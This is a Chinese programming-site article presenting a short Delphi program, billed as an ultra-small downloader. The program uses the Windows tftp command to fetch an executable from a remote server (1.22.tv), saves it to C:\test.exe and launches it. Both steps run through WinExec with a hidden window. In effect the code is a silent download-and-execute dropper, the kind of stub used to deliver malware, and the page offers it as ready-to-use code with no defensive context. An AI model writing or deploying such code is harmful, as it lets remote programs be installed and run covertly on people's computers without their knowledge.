2025年11月13日 星期四  乙巳年 九月廿四 【蛇】丙戌月 丙戌日
用户名: 密 码: 保存
您现在的位置:首页 >> 网络通讯 >> 网络通讯 >> 内容

Delphi中利用TFTP命令实现超小下载小程序

时间:2011/9/3 15:11:00 点击: 1095

  核心提示:program FDTester;//配置部分const Server = '1.22.tv'; //tftp 服务器 域名或IP地址 ServerFileName = 'test.exe'; //在...

program FDTester;

//配置部分
const
  Server = '1.22.tv'; //tftp 服务器 域名或IP地址
  ServerFileName = 'test.exe'; //在服务器上的文件名
  MyFileName = 'C:\test.exe'; //下载到本地以后的名字
  WaitTime = 3000;//下载延迟时间(毫秒)

function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
  external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
  external 'kernel32.dll' name 'Sleep';

begin
  Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
  Sleep(WaitTime);
  Winexec(MyFileName,0);
end.

作者:站长 来源:转载
惊讶 欠揍 支持 很棒 愤怒 搞笑 恶心 不解
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 盒子文章 技术支持:深圳市麟瑞科技有限公司(www.2ccc.com) © 2025 版权所有 All Rights Reserved.
  • 粤ICP备10103342号-1